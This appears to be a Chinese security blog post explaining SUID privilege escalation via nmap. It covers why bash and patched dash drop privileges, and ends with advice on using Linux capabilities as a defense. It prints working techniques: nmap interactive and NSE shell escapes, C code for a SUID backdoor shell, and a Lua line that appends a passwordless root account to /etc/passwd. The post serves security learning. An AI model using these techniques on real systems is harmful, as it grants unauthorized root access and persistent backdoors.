前幾天我在代碼審計知識星球里發表了一個介紹nmap利用interactive模式提權的帖子:
# 進入nmap的交互模式
nmap --interactive
# 執行sh,提權成功
!sh
但具體實施的時候會遇到很多有趣的問題,我們來詳細研究一下。
suid提權
說到這個話題,我們不得不先介紹一下兩個東西:
• suid提權是什么
• nmap為什么可以使用suid提權
通常來說,linux運行一個程序,是使用當前運行這個程序的用戶權限,這當然是合理的。但是有一些程序比較特殊,比如我們常用的ping命令。
ping需要發送ICMP報文,而這個操作需要發送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root權限的(當然不是說引入CAPABILITIES就不需要權限了,而是可以通過其他方法解決,這個后說),所以你如果在一些老的系統里ls -al $(which ping),可以發現其權限是-rwsr-xr-x,其中有個s位,這就是suid:
root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
suid全稱是Set owner User ID up on execution。這是Linux給可執行文件的一個屬性,上述情況下,普通用戶之所以也可以使用ping命令,原因就在我們給ping這個可執行文件設置了suid權限。
設置了s位的程序在運行時,其Effective UID將會設置為這個程序的所有者。比如,/bin/ping這個程序的所有者是0(root),它設置了s位,那么普通用戶在運行ping時其Effective UID就是0,等同于擁有了root權限。
這里引入了一個新的概念Effective UID。Linux進程在運行時有三個UID:
• Real UID 執行該進程的用戶實際的UID
• Effective UID 程序實際操作時生效的UID(比如寫入文件時,系統會檢查這個UID是否有權限)
• Saved UID 在高權限用戶降權后,保留的其原本UID(本文中不對這個UID進行深入探討)
通常情況下Effective UID和Real UID相等,所以普通用戶不能寫入只有UID=0號才可寫的/etc/passwd;在suid的程序啟動時,Effective UID就等于二進制文件的所有者,此時Real UID就可能和Effective UID不相等了。
有的同學說某某程序只要有suid權限,就可以提權,這個說法其實是不準確的。只有這個程序的所有者是0號或其他super user,同時擁有suid權限,才可以提權。
nmap為什么可以用suid提權
常用nmap的同學就知道,如果你要進行UDP或TCP SYN掃描,需要有root權限:
$ nmap -sU target
You requested a scan type which requires root privileges.
QUITTING!
$ nmap -sS 127.0.0.1
You requested a scan type which requires root privileges.
QUITTING!
原因就是這些操作會用到Raw Socket。
有時候你不得不使用sudo來執行nmap,但在腳本調用nmap時sudo又需要tty,有可能還要輸入密碼,這個限制在很多情況下會造成一些不必要的麻煩。
所以,有一些管理員會給nmap加上suid權限,這樣普通用戶就可以隨便運行nmap了。
當然,增加了s位的nmap是不安全的,我們可以利用nmap提權。在nmap 5.20以前存在interactive交互模式,我們可以通過這個模式來提權:
星球里@A11risefor*師傅提到,nmap 5.20以后可以通過加載自定義script的方式來執行命令:
補充一個,--interactive應該是比較老版本的nmap提供的選項,最近的nmap上都沒有這個選項了,不過可以寫一個nse腳本,內容為os.execute('/bin/sh'),然后nmap --script=shell.nse來提權
的確是一個非常及時的補充,因為現在大部分的nmap都是沒有interactive交互模式了。
但經過測試我們發現,這個方法啟動的shell似乎仍然是當前用戶的,并沒有我們想象中的提權。
Linux發行版與shell
我曾使用interactive模式提權成功,但是因為那個nmap版本過老,沒有script支持,所以沒法測試script的提權方法;同樣,新的nmap支持script但又沒有interactive模式,無法做直觀對比,我只能先猜想提權失敗的原因:
• nmap在高版本中限制了suid權限
• lua腳本中限制了suid權限
• 新版Linux系統對子進程的suid權限進行了限制
這些猜想中變量太多,所以我需要控制一下。首先我閱讀了老版本nmap的源碼,發現其實!sh執行的就是很簡單的system('sh'),而且前面并沒用丟棄Effective UID權限的操作:
} else if (*myargv[0] == '!') {
cptr = strchr(command, '!');
system(cptr + 1);
}
那么我們將這個過程抽象成這么一個C程序suid.c:
int main(int argc, char* argv[]) {
return system(argv[1]);
}
編譯,并賦予其suid權限:
root@linux:/tmp# gcc suid.c -o suid
root@linux:/tmp# chmod +s suid
接著我嘗試在不同系統中,用www-data用戶運行./suid id:
Linux發行版
Ubuntu 14.04
Ubuntu 16.04
Ubuntu 18.04
centos 6
CentOS 8
Debian 6
Debian 8
Kali 2019
可見,有些系統是root權限,有些系統仍然是原本用戶權限。那么上面nmap提權失敗的原因,就可以排除nmap的原因了。
同樣,CentOS 6和Debian 6都是較老的發行版,但CentOS 6的表現卻和新版Ubuntu類似,經過網上的詢問和翻文檔,得到了bash中的這么一段說明:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they Appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
如果啟動bash時的Effective UID與Real UID不相同,而且沒有使用-p參數,則bash會將Effective UID還原成Real UID。
我們知道,Linux的system()函數實際上是執行的/bin/sh -c,而CentOS的/bin/sh是指向了/bin/bash:
[root@localhost tmp]# ls -al /bin/sh
lrwxrwxrwx. 1 root root 4 Apr 10 2017 /bin/sh -> bash
這就解釋了為什么CentOS中suid程序執行id獲得的結果仍然是www-data。假設我們此時將sh修改成dash,看看結果是什么:
[root@localhost tmp]# su -s /bin/bash nobody
bash-4.1$ ls -al /bin/sh
lrwxrwxrwx. 1 root root 9 Feb 19 00:21 /bin/sh -> /bin/dash
bash-4.1$ ./suid id
uid=99(nobody) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
dash并沒有限制Effective UID,這里可以看到成功獲取了root權限。
Ubuntu的特殊處理
但是,我們來看看Ubuntu 16.04,其/bin/sh指向的同樣是dash:
$ ls -al /bin/sh
lrwxrwxrwx 1 root root 4 9月 18 2016 /bin/sh -> dash
$ ls -al /bin/dash
-rwxr-xr-x 1 root root 154072 2月 17 2016 /bin/dash
為什么仍然會出現無法提權的情況?
此時我們又需要了解另一個知識了。通常來說,類似Ubuntu這樣的發行版都會對一些程序進行修改,比如我們平時在查看php版本的時候,經常會看到這樣的banner:PHP 7.0.33-0ubuntu0.16.04.11,在官方的版本號后會帶上Ubuntu的一些版本號,這是因為Ubuntu發行版在打包這些軟件時會增加一些自己的代碼。
那么我們可以來看看Ubuntu 16.04源中dash目錄:
下載其中的dash_0.5.8.orig.tar.gz和dash_0.5.8-2.1ubuntu2.diff.gz并分別解壓,我們可以看到dash 0.5.8的原始代碼,和Ubuntu對其做的patch。
我們對原始代碼進行patch后,會發現多了一個setprivileged函數:
void setprivileged(int on)
{
static int is_privileged = 1;
if (is_privileged == on)
return;
is_privileged = on;
/*
* To limit bogus system(3) or popen(3) calls in setuid binaries, require
* -p flag to work in this situation.
*/
if (!on && (uid != geteuid() || gid != getegid())) {
setuid(uid);
setgid(gid);
/* PS1 might need to be changed accordingly. */
choose_ps1();
}
}
on的取值取決于用戶是否傳入了-p參數, 而uid和gid就是當前進程的Real UID(GID)。可見,在on為false,且Real UID 不等于Effective UID的情況下,這里重新設置了進程的UID:
setuid(uid)
setuid函數用于設置當前進程的Effective UID,如果當前進程是root權限或擁有CAP_SETUID權限,則Real UID和Saved UID將被一起設置。
所以,可以看出,Ubuntu發行版官方對dash進行了修改:當dash以suid權限運行、且沒有指定-p選項時,將會丟棄suid權限,恢復當前用戶權限。
這樣一來,dash在suid的表現上就和bash相同了,這也就解釋了為什么在Ubuntu 16.04以后,我們無法直接使用SUID+system()的方式來提權。
如何突破限制?
同樣的,你下載Debian 10最新的dash,也可以看到類似代碼。那么,為什么各大發行版分分在sh中增加了這個限制呢?
我們可以將其理解為是Linux針對suid提權方式的一種遏制。因為通常來說,很多命令注入漏洞都是發生在system()和popen()函數中的,而這些函數依賴于系統的/bin/sh。相比CentOS來說,Ubuntu和Debian中的sh一直都是dash,也就一直受到suid提權漏洞的影響。
一旦擁有suid的程序存在命令注入漏洞或其本身存在執行命令的功能,那么就有本地提權的風險,如果在sh中增加這個限制,提權的隱患就能被極大地遏制。
那么,如果我們就是要留一個具有suid的shell作為后門,我們應該怎么做?
將之前的suid.c做如下修改:
int main(int argc, char* argv[]) {
setuid(0);
system(argv[1]);
}
編譯和執行,我們就可以發現,id命令輸出的uid就是0了:
原因是我們將當前進程的Real UID也修改成了0,Real UID和Effective UID相等,在進入dash后就不會被降權了。
另一種方法,我們可以給dash或bash增加-p選項,讓其不對shell降權。但這里要注意,我們不能再使用system函數了,因為system()內部執行的是/bin/sh -c,我們只能控制-c的參數值,無法給sh中增加-p選項。
這里我們可以使用execl或其他exec系列函數:
int main(int argc, char* argv[]) {
return execl("/bin/sh", "sh", "-p", "-c", argv[1], (char *)0);
}
此時輸出結果類似于Ubuntu 14.04里的結果,因為我給sh加了-p參數:
再回到我們最初的問題:那么具有suid權限的nmap在Ubuntu 18.04或類似系統中我們如何進行提權呢?
因為nmap script中使用的是lua語言,而lua庫中似乎沒有直接啟動進程的方式,都會依賴系統shell,所以我們可能并不能直接通過執行shell的方式來提權。但是因為此時nmap已經是root權限,我們可以通過修改/etc/passwd的方式來添加一個新的super user:
local file = io.open("/etc/passwd", "a")
file:write("root2::0:0::/root:/bin/bashn")
file:close()
成功提權:
如何讓系統變得更安全
作為一個系統的運維人員,我們如何來防御類似的suid提權攻擊呢?
當然我們需要先感謝Linux內核和Ubuntu和Debian等發行版的開發人員,他們也在慢慢幫我們不斷提高系統的安全性和穩定性,但類似于nmap這樣功能強大的軟件,我們無法奢求一律Secure By Default,所以必須學習一些更有趣的知識。
Linux 2.2以后增加了capabilities的概念,可以理解為水平權限的分離。以往如果需要某個程序的某個功能需要特權,我們就只能使用root來執行或者給其增加SUID權限,一旦這樣,我們等于賦予了這個程序所有的特權,這是不滿足權限最小化的要求的;在引入capabilities后,root的權限被分隔成很多子權限,這就避免了濫用特權的問題,我們可以在capabilities(7) - Linux manual page中看到這些特權的說明。
類似于ping和nmap這樣的程序,他們其實只需要網絡相關的特權即可。所以,如果你在Kali下查看ping命令的capabilities,你會看到一個cap_net_raw:
$ ls -al /bin/ping
-rwxr-xr-x 1 root root 73496 Oct 5 22:34 /bin/ping
$ getcap /bin/ping
/bin/ping = cap_net_raw+ep
這就是為什么kali的ping命令無需設置setuid權限,卻仍然可以以普通用戶身份運行的原因。
同樣,我們也可以給nmap增加類似的capabilities:
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
nmap --privileged -sS 192.168.1.1
再次使用TCP SYN掃描時就不會出現權限錯誤的情況了:
原文地址:https://xz.aliyun.com/t/7258